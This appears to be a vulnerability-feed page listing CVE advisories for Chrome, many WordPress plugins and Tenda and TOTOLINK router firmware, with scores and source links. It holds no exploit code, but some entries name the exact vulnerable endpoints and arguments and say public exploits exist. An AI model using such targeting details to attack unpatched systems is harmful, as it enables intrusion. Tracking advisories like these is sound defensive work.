CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113203).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113203&date=2026-10-25).
Sources:
NVD CVE-2026-113203: https://nvd.nist.gov/vuln/detail/CVE-2026-113203
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113203&date=2026-10-25
Use after free in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via...
https://kevwire.com/record/CVE-2026-113204
Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via... (Oct 20, 2026).
Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113204).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113204&date=2026-10-25).
Sources:
NVD CVE-2026-113204: https://nvd.nist.gov/vuln/detail/CVE-2026-113204
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113204&date=2026-10-25
Use after free in TrustedWebActivities in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds...
https://kevwire.com/record/CVE-2026-109927
The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds... (Oct 22, 2026).
The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds that role to grant it administrator-level capabilities and escalate their privileges.
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109927).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109927&date=2026-10-25).
Sources:
NVD CVE-2026-109927: https://nvd.nist.gov/vuln/detail/CVE-2026-109927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109927&date=2026-10-25
The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds that role to grant it administrator-level capabilities and escalate their privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page...
https://kevwire.com/record/CVE-2026-109987
The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page... (Oct 22, 2026).
The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page output, which, on a site running a full-page cache, allows unauthenticated attackers to store a Cross-Site Scripting payload in the cached page that is then served to other visitors.
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109987).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109987&date=2026-10-25).
Sources:
NVD CVE-2026-109987: https://nvd.nist.gov/vuln/detail/CVE-2026-109987
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109987&date=2026-10-25
The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page output, which, on a site running a full-page cache, allows unauthenticated attackers to store a Cross-Site Scripting payload in the cached page that is then served to other visitors.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated...
https://kevwire.com/record/CVE-2026-111958
The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated... (Oct 22, 2026).
The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated as the token's owning user, an administrator in the default configuration, across the entire REST API with no nonce, leading to full site takeover.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111958).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111958&date=2026-10-25).
Sources:
NVD CVE-2026-111958: https://nvd.nist.gov/vuln/detail/CVE-2026-111958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111958&date=2026-10-25
The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated as the token's owning user, an administrator in the default configuration, across the entire REST API with no nonce, leading to full site takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is...
https://kevwire.com/record/CVE-2026-97328
The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is... (Oct 22, 2026).
The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is enabled, allowing unauthenticated users to submit content that is stored and later executed as Cross-Site Scripting in the browser of any user viewing an affected page, including administrators.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97328).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97328&date=2026-10-25).
Sources:
NVD CVE-2026-97328: https://nvd.nist.gov/vuln/detail/CVE-2026-97328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97328&date=2026-10-25
The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is enabled, allowing unauthenticated users to submit content that is stored and later executed as Cross-Site Scripting in the browser of any user viewing an affected page, including administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP...
https://kevwire.com/record/CVE-2026-111830
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP... (Oct 22, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.9.1.0.
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111830).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111830&date=2026-10-25).
Sources:
NVD CVE-2026-111830: https://nvd.nist.gov/vuln/detail/CVE-2026-111830
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111830&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.9.1.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.
https://kevwire.com/record/CVE-2026-112241
Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5. (Oct 22, 2026).
Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112241).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112241&date=2026-10-25).
Sources:
NVD CVE-2026-112241: https://nvd.nist.gov/vuln/detail/CVE-2026-112241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112241&date=2026-10-25
Authentication Bypass by Spoofing vulnerability in Brainstorm Force SureCart surecart allows Authentication Abuse.This issue affects SureCart: from n/a through 4.9.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.
https://kevwire.com/record/CVE-2026-112242
Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4. (Oct 22, 2026).
Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112242).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112242&date=2026-10-25).
Sources:
NVD CVE-2026-112242: https://nvd.nist.gov/vuln/detail/CVE-2026-112242
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112242&date=2026-10-25
Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF...
https://kevwire.com/record/CVE-2026-112312
Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF... (Oct 22, 2026).
Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Extended: from n/a through 0.9.2.7.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112312).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112312&date=2026-10-25).
Sources:
NVD CVE-2026-112312: https://nvd.nist.gov/vuln/detail/CVE-2026-112312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112312&date=2026-10-25
Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Extended: from n/a through 0.9.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-112313
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects... (Oct 22, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects ACF Extended: from n/a through 0.9.2.7.
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112313).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112313&date=2026-10-25).
Sources:
NVD CVE-2026-112313: https://nvd.nist.gov/vuln/detail/CVE-2026-112313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112313&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects ACF Extended: from n/a through 0.9.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from...
https://kevwire.com/record/CVE-2026-112327
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from... (Oct 22, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.11.
CVSS 9.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112327).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112327&date=2026-10-25).
Sources:
NVD CVE-2026-112327: https://nvd.nist.gov/vuln/detail/CVE-2026-112327
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112327&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This...
https://kevwire.com/record/CVE-2026-112379
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This... (Oct 22, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This issue affects Contact Form Email: from n/a through 1.3.68.
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112379).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112379&date=2026-10-25).
Sources:
NVD CVE-2026-112379: https://nvd.nist.gov/vuln/detail/CVE-2026-112379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112379&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This issue affects Contact Form Email: from n/a through 1.3.68.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP...
https://kevwire.com/record/CVE-2026-112820
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP... (Oct 22, 2026).
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP Local File Inclusion.This issue affects Academist Core: from n/a through 1.4.1.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112820).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112820&date=2026-10-25).
Sources:
NVD CVE-2026-112820: https://nvd.nist.gov/vuln/detail/CVE-2026-112820
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112820&date=2026-10-25
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP Local File Inclusion.This issue affects Academist Core: from n/a through 1.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue...
https://kevwire.com/record/CVE-2026-112822
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue... (Oct 22, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue affects Workreap Core: from n/a before 3.4.4.
CVSS 8.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112822).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112822&date=2026-10-25).
Sources:
NVD CVE-2026-112822: https://nvd.nist.gov/vuln/detail/CVE-2026-112822
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112822&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue affects Workreap Core: from n/a before 3.4.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File...
https://kevwire.com/record/CVE-2026-112832
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File... (Oct 22, 2026).
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File Inclusion.This issue affects Rootblox: from n/a through 1.0.6.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112832).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112832&date=2026-10-25).
Sources:
NVD CVE-2026-112832: https://nvd.nist.gov/vuln/detail/CVE-2026-112832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112832&date=2026-10-25
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CozyThemes Rootblox rootblox allows PHP Local File Inclusion.This issue affects Rootblox: from n/a through 1.0.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons:...
https://kevwire.com/record/CVE-2026-114177
Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons:... (Oct 22, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons: from n/a through 1.7.10.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114177).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114177&date=2026-10-25).
Sources:
NVD CVE-2026-114177: https://nvd.nist.gov/vuln/detail/CVE-2026-114177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114177&date=2026-10-25
Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons: from n/a through 1.7.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint.
https://kevwire.com/record/CVE-2026-114267
A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint. (Oct 21, 2026).
A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint. The manipulation results in missing authorization. The attack may be performed from remote. The exploit is now public and may be used.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114267).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114267&date=2026-10-25).
Sources:
NVD CVE-2026-114267: https://nvd.nist.gov/vuln/detail/CVE-2026-114267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114267&date=2026-10-25
A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint. The manipulation results in missing authorization. The attack may be performed from remote. The exploit is now public and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet.
https://kevwire.com/record/CVE-2026-114268
A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet. (Oct 21, 2026).
A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet. This manipulation of the argument security_5g causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114268).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114268&date=2026-10-25).
Sources:
NVD CVE-2026-114268: https://nvd.nist.gov/vuln/detail/CVE-2026-114268
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114268&date=2026-10-25
A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet. This manipulation of the argument security_5g causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so.
https://kevwire.com/record/CVE-2026-114382
A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so. (Oct 21, 2026).
A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so. The manipulation of the argument Comment results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114382).
